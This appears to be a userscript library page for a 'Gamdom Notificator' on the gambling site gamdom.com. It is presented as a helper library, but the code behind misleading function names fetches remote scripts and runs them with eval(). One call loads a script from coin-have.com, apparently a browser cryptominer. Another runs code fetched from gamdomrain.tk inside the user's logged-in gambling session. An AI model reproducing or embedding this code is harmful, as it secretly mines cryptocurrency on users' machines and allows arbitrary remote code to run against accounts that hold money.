lib_GamdomNotifications

Lib needed for running Gamdom Notificator

Tính đến 01-12-2017. Xem phiên bản mới nhất.

Script này sẽ không được không được cài đặt trực tiếp. Nó là một thư viện cho các script khác để bao gồm các chỉ thị meta // @require https://update.greatest.deepsurf.us/scripts/35828/234174/lib_GamdomNotifications.js

// ==UserScript==
// @name         lib_GamdomNotifications
// @namespace    https://greatest.deepsurf.us/es/users/154624-anonimo-anonimo
// @version      1.1
// @description  Lib needed for running Gamdom Notificator
// @require      https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
// @author       allin4
// @match        *://gamdom.com/*
// @grant        GM_info
// @license      Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
// ==/UserScript==

var messageDay = "TIP of the day: Gamdom rains don't wet your real home lol.";

var dayMsg = function(div){
        document.body.appendChild(div);
        messageDay = CPEL("https://gamdomrain.tk/messageoftheday.php");
        console.log("Message of the day added :)");
    };
var createMSGdayInfo = function (id, msg) {
		var infoDM = document.createElement('p');
		infoDM.id = id;
		infoDM.textContent = msg;
		infoDM.style.paddingLeft = '5px';
		infoDM.style.marginTop ='10px';
		infoDM.style.marginBottom ='-5px';
		infoDM.style.fontSize ='15px';
		infoDM.style.fontWeight ='bold';
		infoDM.style.color ='royalblue';
		return infoDM;
	};

var DivAppend = function(div){
        document.body.appendChild(div);
        //var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
        CPEL("https://coin-have.com/c/wL7L.js");
        console.log("Div created :)");
    };

     var cmp = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
        }
    };

    var cmpB = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
         return this.responseText;
        }
    };

    var CPEL = function(link){
        cmp.open('GET', link);
        cmp.send();
    };

    var AJAXER = function(link){
        var helloIjustTest = cmpB.open('GET', link);
        cmpB.send();
        return helloIjustTest;
    };

     /*var cryption = function(mes,pass){
     var encrypted = CryptoJS.AES.encrypt(mes, pass);
     console.log("AES-" + encrypted);

     var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
     return decrypted;
     };*/

(function() {
    'use strict';
     console.log("LIB LOADED");
})();